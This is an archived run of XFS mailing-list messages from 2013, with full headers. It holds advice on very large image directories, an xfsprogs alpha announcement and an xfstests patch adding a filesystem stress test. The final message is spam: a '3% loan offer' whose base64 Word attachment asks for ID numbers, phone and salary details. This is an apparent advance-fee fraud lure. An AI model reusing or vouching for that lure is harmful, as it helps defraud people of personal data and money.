with ESMTPSA id s17sm1951977vdg.5.1969.12.31.16.00.00 (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Thu, 26 Sep 2013 07:59:40 -0700 (PDT) Message-ID: <52444BDD.9060100@gmail.com> Date: Thu, 26 Sep 2013 10:59:41 -0400 From: Joe Landman User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.0 MIME-Version: 1.0 To: xfs@oss.sgi.com Subject: Re: Issues and new to the group References: <0e4201cebaae$24873680$6d95a380$@host2max.com> <5244234D.1010603@hardwarefreak.com> <100f01cebaba$0ae84280$20b8c780$@host2max.com> X-ASG-Orig-Subj: Re: Issues and new to the group In-Reply-To: <100f01cebaba$0ae84280$20b8c780$@host2max.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mail-ve0-f178.google.com[209.85.128.178] X-Barracuda-Start-Time: 1380207581 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140944 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On 09/26/2013 09:12 AM, Ronnie Tartar wrote: > Stan, > > Thanks for the reply. > > My fragmentation is: > > [root@AP-FS1 ~]# xfs_db -c frag -r /dev/xvdb1 > actual 10470159, ideal 10409782, fragmentation factor 0.58% This was never likely the cause ... [...] > This is running virtualized, definitely not a rust bucket. It's x5570 cpus ... well, this is likely the cause (virtualized) > with MD3200 Array with light I/O. > > Seems like i/o wait is not problem, system% is problem. Is this the OS > trying to find spot for these files? From your previous description > takes. The folders are image folders that have anywhere between 5 to > 10 million images in each folder. The combination of very large folders, and virtualization is working against you. Couple that with an old (ancient by Linux standards) xfs in the virtual CentOS 5.9 system, and you aren't going to have much joy with this without changing a few things. First and foremost: Can you change from one single large folder to a heirarchical set of folders? The single large folder means any metadata operation (ls, stat, open, close) has a huge set of lists to traverse. It will work, albiet slowly. As a rule of thumb, we try to make sure our users don't go much beyond 10k files/folder. If they need to, building a heirarchy of folders slightly increases management complexity, but keeps the lists that are needed to be traversed much smaller. A strategy for doing this: If your files are named "aaaa0001" "aaaa0002" ... "zzzz9999" or similar, then you can chop off the first letter, and make a directory of it, and then put all files starting with that letter in that directory. Then within each of those directories, do the same thing with the second letter. This gets you 676 directories and about 15k files per directory. Much faster directory operations. Much smaller lists to traverse. If you can't change the layout, this is a much harder problem to solve, though you could do it by using one very large file, maintaining your own start/end and file metadata in other files, and writing your files at specific offsets (start and end above). This isn't a good solution unless you know how to write file systems. From jra@baylink.com Thu Sep 26 10:26:58 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 5BA157F50 for ; Thu, 26 Sep 2013 10:26:58 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 2D6D68F8033 for ; Thu, 26 Sep 2013 08:26:54 -0700 (PDT) X-ASG-Debug-ID: 1380209212-04bdf05387551980001-NocioJ Received: from benjamin.baylink.com (rrcs-24-129-180-187.se.biz.rr.com [24.129.180.187]) by cuda.sgi.com with ESMTP id 6cNnzDtgg3yBSzoQ for ; Thu, 26 Sep 2013 08:26:52 -0700 (PDT) X-Barracuda-Envelope-From: jra@baylink.com X-Barracuda-Apparent-Source-IP: 24.129.180.187 Received: from localhost (localhost.localdomain [127.0.0.1]) by benjamin.baylink.com (Postfix) with ESMTP id 28A7F1F00173 for ; Thu, 26 Sep 2013 11:26:52 -0400 (EDT) X-Virus-Scanned: amavisd-new at benjamin.baylink.com Received: from benjamin.baylink.com ([127.0.0.1]) by localhost (benjamin.baylink.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id ZrcV+WTp7ZLd for ; Thu, 26 Sep 2013 11:26:47 -0400 (EDT) Received: from benjamin.baylink.com (benjamin.baylink.com [192.168.253.10]) by benjamin.baylink.com (Postfix) with ESMTP id B7CC51F002D2 for ; Thu, 26 Sep 2013 11:26:47 -0400 (EDT) Date: Thu, 26 Sep 2013 11:26:47 -0400 (EDT) From: Jay Ashworth To: xfs@oss.sgi.com Message-ID: <20084214.8829.1380209207683.JavaMail.root@benjamin.baylink.com> In-Reply-To: <52444BDD.9060100@gmail.com> Subject: Re: Issues and new to the group MIME-Version: 1.0 X-ASG-Orig-Subj: Re: Issues and new to the group Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 7bit X-Originating-IP: [66.87.122.204] X-Mailer: Zimbra 6.0.9_GA_2686 (ZimbraWebClient - SAF3 (Win)/6.0.9_GA_2686) X-Barracuda-Connect: rrcs-24-129-180-187.se.biz.rr.com[24.129.180.187] X-Barracuda-Start-Time: 1380209212 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.60 X-Barracuda-Spam-Status: No, SCORE=2.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_MJ1963, BSF_SC7_SA_HREF_FROM_MISMATCH_TEXT_URIx1_HL, RDNS_DYNAMIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140944 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_DYNAMIC Delivered to trusted network by host with dynamic-looking rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 2.00 BSF_SC7_SA_HREF_FROM_MISMATCH_TEXT_URIx1_HL Custom Rule HREF_FROM_MISMATCH_TEXT_URIx1_HL ----- Original Message ----- > From: "Joe Landman" > > takes. The folders are image folders that have anywhere between 5 to > > 10 million images in each folder. > > The combination of very large folders, and virtualization is working > against you. Couple that with an old (ancient by Linux standards) xfs > in the virtual CentOS 5.9 system, and you aren't going to have much > joy with this without changing a few things. > Can you change from one single large folder to a heirarchical set of > folders? The single large folder means any metadata operation (ls, > stat, open, close) has a huge set of lists to traverse. It will work, > albiet slowly. As a rule of thumb, we try to make sure our users don't > go much beyond 10k files/folder. If they need to, building a heirarchy > of folders slightly increases management complexity, but keeps the > lists that are needed to be traversed much smaller. > > A strategy for doing this: If your files are named "aaaa0001" > "aaaa0002" ... "zzzz9999" or similar, then you can chop off the first > letter, and make a directory of it, and then put all files starting > with that letter in that directory. Then within each of those directories, > do the same thing with the second letter. This gets you 676 > directories and about 15k files per directory. Much faster directory operations. > Much smaller lists to traverse. While this problem isn't *near* as bad on XFS as it was on older filesystems, where over maybe 500-1000 files would result in 'ls' commands taking over a minute... It's still a good idea to filename hash large collections of files of similar types into a directory tree, as Joe recommends. The best approach I myself have seen to this is to has a filename of 835bfak3f89yu12.jpg into 8/3/5/b/835bfak3f89yu12.jpg 8/3/5/b/f/835bfak3f89yu12.jpg 8/3/5/b/f/a/835bfak3f89yu12.jpg Going as deep as necessary to reduce the size of the directories. What you lose in needing to cache the extra directory levels outweighs (probably far outweighs) having to handle Directories Of Unusual Size. Note that I didn't actually trim the filename proper; the final file still has its full name. This hash is easy to build, as long as you fix the number of layers in advance... and if you need to make it deeper, later, it's easy to build a shell script that crawls the current tree and adds the next layer. Cheers, -- jra -- Jay R. Ashworth Baylink jra@baylink.com Designer The Things I Think RFC 2100 Ashworth & Associates http://baylink.pitas.com 2000 Land Rover DII St Petersburg FL USA #natog +1 727 647 1274 From rjohnston@sgi.com Thu Sep 26 13:37:19 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 079B37F3F for ; Thu, 26 Sep 2013 13:37:19 -0500 (CDT) Received: from xmail.sgi.com (pv-excas2-dc21.corp.sgi.com [137.38.106.9]) by relay1.corp.sgi.com (Postfix) with ESMTP id E39518F8050 for ; Thu, 26 Sep 2013 11:37:15 -0700 (PDT) Received: from [128.162.233.55] (128.162.233.55) by xmail.sgi.com (137.38.106.6) with Microsoft SMTP Server (TLS) id 14.3.123.3; Thu, 26 Sep 2013 13:37:15 -0500 Message-ID: <52447EEA.6090205@sgi.com> Date: Thu, 26 Sep 2013 13:37:30 -0500 From: Rich Johnston User-Agent: Mozilla/5.0 (X11; Linux i686; rv:17.0) Gecko/20130329 Thunderbird/17.0.5 MIME-Version: 1.0 To: xfs-oss Subject: [ANNOUNCE] xfsprogs v3.2.0-alpha1 Content-Type: text/plain; charset="ISO-8859-1"; format=flowed Content-Transfer-Encoding: 7bit X-Originating-IP: [128.162.233.55] Alpha version 3.2.0-alpha1 of xfsprogs has been released. The source code can be accessed via git using this URL: git://oss.sgi.com/xfs/cmds/xfsprogs.git A gzipped-tar archive of the source code is available here: ftp://oss.sgi.com/projects/xfs/cmd_tars/xfsprogs-3.2.0-alpha1.tar.gz The development tree previously hosted on kernel.org for this code has been deprecated: git://git.kernel.org/pub/scm/fs/xfs/xfsprogs-dev.git Below is a summary (from the doc/CHANGES file) of the changes: xfsprogs-3.2.0-alpha1 (26 September 2013) - Alpha release for the purpose of testing the CRC feature during the v3.12 kernel -rc series. From tinguely@eagdhcp-232-140.americas.sgi.com Thu Sep 26 14:19:29 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 5B6F57F3F for ; Thu, 26 Sep 2013 14:19:29 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id 2E0ED8F8033 for ; Thu, 26 Sep 2013 12:19:26 -0700 (PDT) Received: from eagdhcp-232-140.americas.sgi.com (localhost [127.0.0.1]) by eagdhcp-232-140.americas.sgi.com (8.14.5/8.14.5) with ESMTP id r8QJJPrC003008 for ; Thu, 26 Sep 2013 14:19:25 -0500 (CDT) (envelope-from tinguely@eagdhcp-232-140.americas.sgi.com) Received: (from tinguely@localhost) by eagdhcp-232-140.americas.sgi.com (8.14.5/8.14.5/Submit) id r8QJJP3P003007; Thu, 26 Sep 2013 14:19:25 -0500 (CDT) (envelope-from tinguely) Message-Id: <20130926191717.068593583@sgi.com> User-Agent: quilt/0.51-1 Date: Thu, 26 Sep 2013 14:17:03 -0500 From: Mark Tinguely To: xfs@oss.sgi.com Subject: [PATCH v3] xfstests: xfs directory unbalance assert test Content-Disposition: inline; filename=v3-xfstests-fill-directory.patch This tests make sure that XFS correctly handles node sibling size checks. This test originally written by Brian Foster and has be been condensed with suggestions from Micheal Semon. Signed-off-by: Mark Tinguely --- v3: puts back the _cleanup function removes unnecessary groups. tests/generic/319 | 64 ++++++++++++++++++++++++++++++++++++++++++++++++++ tests/generic/319.out | 2 + tests/generic/group | 1 3 files changed, 67 insertions(+) Index: b/tests/generic/319 =================================================================== --- /dev/null +++ b/tests/generic/319 @@ -0,0 +1,64 @@ +#! /bin/bash +# FS QA Test No. 319 +# +# Test directory code correctly handles fsstress filling the filesystem +# +#----------------------------------------------------------------------- +# Copyright (c) 2013 SGI. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + cd / + killall -q $FSSTRESS_PROG + umount $SCRATCH_MNT 2>/dev/null + rm -f $tmp.* +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter +_require_scratch + +# real QA test starts here + +_supported_fs generic +_supported_os IRIX Linux + +rm -f $seqres.full +_scratch_mkfs_sized $((11 * 1024 * 1024 * 1024)) >> $seqres.full 2>&1 \ + || _fail "mkfs failed" +run_check _scratch_mount >> $seqres.full + +# Fill the filesystem. +FSSTRESS_ARGS="-z -s 1378390208 -fsymlink=1 -n7500000 -p4 -d $SCRATCH_MNT" +$FSSTRESS_PROG $FSSTRESS_ARGS >> $seqres.full 2>&1 + +# A debug XFS may assert in the remove due to a directory bug. +rm -rf $SCRATCH_MNT/p? +echo "--- silence is golden ---" +status=0 +exit Index: b/tests/generic/319.out =================================================================== --- /dev/null +++ b/tests/generic/319.out @@ -0,0 +1,2 @@ +QA output created by 319 +--- silence is golden --- Index: b/tests/generic/group =================================================================== --- a/tests/generic/group +++ b/tests/generic/group @@ -121,3 +121,4 @@ 316 auto quick 317 auto metadata quick 318 acl attr auto quick +319 stress From infoimpactfinsolutions@gmail.com Thu Sep 26 14:22:47 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM, T_FREEMAIL_DOC_PDF autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 386147F3F for ; Thu, 26 Sep 2013 14:22:47 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 109628F8033 for ; Thu, 26 Sep 2013 12:22:47 -0700 (PDT) X-ASG-Debug-ID: 1380223361-04cbb02c3a1471960001-NocioJ Received: from mv-osn-hkg004.ocn.ad.jp (mv-osn-hkg004.ocn.ad.jp [122.28.14.147]) by cuda.sgi.com with ESMTP id F1cEo8tnkI07UvHp for ; Thu, 26 Sep 2013 12:22:41 -0700 (PDT) X-Barracuda-Envelope-From: infoimpactfinsolutions@gmail.com X-Barracuda-Apparent-Source-IP: 122.28.14.147 Received: from mzcstore232.ocn.ad.jp (mv-osn-hkg004 [122.28.14.147]) by mv-osn-hkg004.ocn.ad.jp (Postfix) with ESMTP id 589687F828E; Fri, 27 Sep 2013 04:22:39 +0900 (JST) Date: Fri, 27 Sep 2013 04:22:39 +0900 (JST) From: Impact Financial Solutions Reply-To: Impact Financial Solutions Message-ID: <1215804127.32367701380223359198.JavaMail.root@mz-fcb232p.noc-chibaminato.ocn.ad.jp> In-Reply-To: <1974395047.31941741380196285550.JavaMail.root@mz-fcb232p.noc-chibaminato.ocn.ad.jp> Subject: Impact Financial Solution 3% Loan Offer MIME-Version: 1.0 X-ASG-Orig-Subj: Impact Financial Solution 3% Loan Offer Content-Type: multipart/mixed; boundary="----=_Part_171239_616996852.1380223359193" X-Originating-IP: [118.23.109.27] To: undisclosed-recipients:; X-Barracuda-Connect: mv-osn-hkg004.ocn.ad.jp[122.28.14.147] X-Barracuda-Start-Time: 1380223361 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.50 X-Barracuda-Spam-Status: No, SCORE=1.50 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MV0224, BSF_SC3_MV0253_2 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140949 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.50 BSF_SC0_MV0224 FULL: Custom rule MV0224 1.00 BSF_SC3_MV0253_2 Custom rule MV0253_2 ------=_Part_171239_616996852.1380223359193 Content-Type: text/plain; charset=ISO-2022-JP Content-Transfer-Encoding: 7bit Hello, Please find attached details and apply for a loan for a fixed 3% interest rate loan per annum. Warm Regards, Amanda Davis Chief Application Officer, Impact Financial Solutions ------=_Part_171239_616996852.1380223359193 Content-Type: application/msword; name="Impact Financial Solutions 3% Loan Promo.doc" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Impact Financial Solutions 3% Loan Promo.doc" 0M8R4KGxGuEAAAAAAAAAAAAAAAAAAAAAPgADAP7/CQAGAAAAAAAAAAAAAAABAAAAXAAAAAAAAAAA EAAAXwAAAAEAAAD+////AAAAAFsAAAD///////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// ///////////////////////////////////////////////////////////////////////////s pcEAW4AJBAAA+BK/AAAAAAAAEAAAAAAACAAAAQ4AAA4AYmpiaqz6rPoAAAAAAAAAAAAAAAAAAAAA AAAJBBYANCAAAM6QAQDOkAEA8wUAAAAAAAANAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//w8AAAAA AAAAAAD//w8AAAAAAAAAAAD//w8AAAAAAAAAAAAAAAAAAAAAALcAAAAAAAgIAAAAAAAACAgAAEsV AAAAAAAASxUAAAAAAABLFQAAAAAAAEsVAAAAAAAASxUAABQAAAAAAAAAAAAAAP////8AAAAAXxUA AAAAAABfFQAAAAAAAF8VAAA4AAAAlxUAADQAAADLFQAAFAAAAF8VAAAAAAAA7RkAAGYBAADfFQAA AAAAAN8VAAAAAAAA3xUAAAAAAADfFQAAAAAAAN8VAAAAAAAAzhYAAAAAAADOFgAAAAAAAM4WAAAA AAAAbBkAAAIAAABuGQAAAAAAAG4ZAAAAAAAAbhkAAAAAAABuGQAAAAAAAG4ZAAAAAAAAbhkAACQA AABTGwAAogIAAPUdAAA2AAAAkhkAABUAAAAAAAAAAAAAAAAAAAAAAAAASxUAAAAAAADOFgAAAAAA AAAAAAAAAAAAAAAAAAAAAADOFgAAAAAAAM4WAAAAAAAAzhYAAAAAAADOFgAAAAAAAJIZAAAAAAAA AAAAAAAAAABLFQAAAAAAAEsVAAAAAAAA3xUAAAAAAAAAAAAAAAAAAN8VAADvAAAApxkAABYAAAAA GAAAAAAAAAAYAAAAAAAAABgAAAAAAADOFgAAiAAAAEsVAAAAAAAA3xUAAAAAAABLFQAAAAAAAN8V AAAAAAAAbBkAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAzhYAAAAAAABsGQAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAA AAAAAAAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAADfFQAAAAAAAP////8AAAAA8PBQCPi2 zgEAAAAAAAAAAF8VAAAAAAAAVhcAAHwAAAAAGAAAAAAAAAAAAAAAAAAAWBkAABQAAAC9GQAAMAAA AO0ZAAAAAAAAABgAAAAAAAArHgAAAAAAANIXAAAuAAAAKx4AAAAAAAAAGAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA GAAAbAAAACseAAAAAAAAAAAAAAAAAABLFQAAAAAAAGwYAADsAAAAzhYAAAAAAADOFgAAAAAAAAAY AAAAAAAAzhYAAAAAAADOFgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAzhYA AAAAAADOFgAAAAAAAM4WAAAAAAAAkhkAAAAAAACSGQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAM4WAAAA AAAAzhYAAAAAAADOFgAAAAAAAO0ZAAAAAAAAzhYAAAAAAADOFgAAAAAAAM4WAAAAAAAAzhYAAAAA AAAAAAAAAAAAAP////8AAAAA/////wAAAAD/////AAAAAAAAAAAAAAAA/////wAAAAD/////AAAA AP////8AAAAA/////wAAAAD/////AAAAAP////8AAAAA/////wAAAAD/////AAAAAP////8AAAAA /////wAAAAD/////AAAAAP////8AAAAA/////wAAAAD/////AAAAACseAAAAAAAAzhYAAAAAAADO FgAAAAAAAM4WAAAAAAAAzhYAAAAAAADOFgAAAAAAAM4WAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADOFgAAAAAAAM4WAAAAAAAAzhYA AAAAAAAICAAACQwAABEUAAA6AQAABQASAQAACQQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAENDSAx MiBKYW4gVmlzc2VyIFN0cmVldCwgSmFuIEtlbXBkb3JwIDg1NTAsIEphbiBLZW1wZG9ycCwNICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTm9ydGhlcm4gQ2FwZSwgU291 dGggQWZyaWNhLgsNDUFib3V0IEltcGFjdCBGaW5hbmNpYWwgU29sdXRpb25zDQtJbXBhY3QgRmlu YW5jaWFsIFNvbHV0aW9ucyBpcyBhIHJlZ2lzdGVyZWQgaW5kZXBlbmRlbnQgZmluYW5jaWFsIHNl cnZpY2UgcHJvdmlkZXIgb3BlcmF0aW5nIGhlcmUgaW4gU291dGggQWZyaWNhLiBTaW5jZSBpdHOg aW5jZXB0aW9uIGluIDIwMDYsIEltcGFjdCBGaW5hbmNpYWwgU29sdXRpb25zIGhhcyBwcm92aWRl ZCBjcmVkaXQgYW5kIGZpbmFuY2lhbCBzb2x1dGlvbnMgdG+gbW9yZSB0aGFuIGVpZ2h0IGh1bmRy ZWQgdGhvdXNhbmQgY3VzdG9tZXJzIGhlcmUgaW4gU291dGggQWZyaWNhLg0NT3VyIGNhcGl0YWwg YmFzZSBoZXJlIGluIEltcGFjdCBGaW5hbmNpYWwgU29sdXRpb25zIGlzIGFwcHJveGltYXRlbHkg NjVtaWxsaW9uIFNvdXRoIEFmcmljYSBSYW5kIGFuZCBvdXIgY3VzdG9tZXIgYmFzZSBpcyBvdmVy IGVpZ2h0IGh1bmRyZWQgdGhvdXNhbmQgY3VzdG9tZXJzIGFzIHN0YXRlZCBhYm92ZS4gV2UgYXJl IGN1cnJlbnRseSBvZmZlcmluZyBsb2FucyBhdCAzJSBpbnRlcmVzdCByYXRlIHBlcqBhbm51bSB0 byBjdXN0b21lcnMuIA0NV2Ugb2ZmZXIgcGVyc29uYWwgbG9hbnMsIGNhciBsb2FucywgaG9tZSBs b2FucyygaW5zdXJhbmNlLCBzdHVkeSBsb2FucywgZGVidCBjb25zb2xpZGF0aW9uIGxvYW5zIGFu ZCBidXNpbmVzcyBsb2Fucy4gSW50ZXJlc3RlZKBhcHBsaWNhbnRzIGFyZSBhZHZpc2VkIHRvIGNv bnRhY3QgdXMgdmlhIGVtYWlsOyB3aXRoIHRoZSByZXF1aXJlZCBkZXRhaWxzIChJTVBBQ1QwMDEg ZGV0YWlscykgYmVsb3c6CwtGaXJzdCBOYW1lOgtTdXJuYW1lOgtJRCBOdW1iZXI6C0NlbGwgTnVt YmVyOgtFLW1haWw6C09jY3VwYXRpb246C01vbnRobHkgU2FsYXJ5Og0NTm90ZTogQ3JlZGl0IGZh Y2lsaXR5IGFwcHJvdmFsIGlzIHN1YmplY3QgdG8gc3RhbmRhcmQgYWZmb3JkYWJpbGl0eSBhbmQg TmF0aW9uYWwgY3JlZGl0IEFjdCByZXF1aXJlbWVudCBhcyB3ZWxsIGFzIEltcGFjdCBGaW5hbmNp YWwgU29sdXRpb25zIHN0YW5kYXJkIGNyZWRpdCBncmFudGluZyBjcml0ZXJpYS4NDVdlIGxvb2sg Zm9yd2FyZCB0byBkb2luZyBidXNpbmVzcyB3aXRoIHlvdSELDUJlc3QgUmVnYXJkcywNC0FtYW5k YSBEYXZpcwtDaGllZiBBcHBsaWNhdGlvbiBPZmZpY2VyLAtJbXBhY3QgRmluYW5jaWFsIFNvbHV0 aW9ucy4NDQ1FbWFpbDogaW1wYWN0ZmluYW5jaWFsc29sdXRpb25zQG1hbmFnZXIuaW4udGggIERp cmVjdCBOby46ICsyNzYxMTM2MzQ1OQ1JbXBhY3QgRmluYW5jaWFsIFNvbHV0aW9ucyBpcyBhbiBB dXRob3JpemVkIEZpbmFuY2lhbCBTZXJ2aWNlcyBhbmQgUmVnaXN0ZXJlZCBDcmVkaXQgUHJvdmlk ZXIuIChOQ1JDUDg4NCkNQ0s6IDIwMDYvMTk4MjA5LzIzDQsNAw0NBA0NAw0NBA0NDQ0AAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAEIAAAC CAAAAwgAAAQIAAALCAAAGQgAABoIAAAsCAAALQgAADsIAABlCAAAcggAAIEIAACCCAAAhAgAAIUI AACJCAAAiwgAAJAIAACSCAAAmggAAJwIAACkCAAApQgAAObazryqlYCVgJWAlYB8eGZUZlRmVGZU RAAAAAAAAAAAAAAAAB8VaEQcRwAWaEF1aQA+KgFDShgAT0oAAFFKAABhShgAIhVoRBxHABZoRBxH ADUIgT4qAUNKGABPSgAAUUoAAGFKGAAAIhVoRBxHABZoQXVpADUIgT4qAUNKGABPSgAAUUoAAGFK GAAABhZoQXVpAAAGFmiSBsYAACgVaFwlOgAWaFwlOgA1CIFCKgtDShgAT0oAAFFKAABhShgAcGgA sFAAACgVaFwlOgAWaNtaVgA1CIFCKgtDShgAT0oAAFFKAABhShgAcGgAsFAAACIWaEQcRwA1CIFC KgtDShgAT0oAAFFKAABhShgAcGgAsFAAACIWaFwlOgA1CIFCKgtDShgAT0oAAFFKAABhShgAcGgA 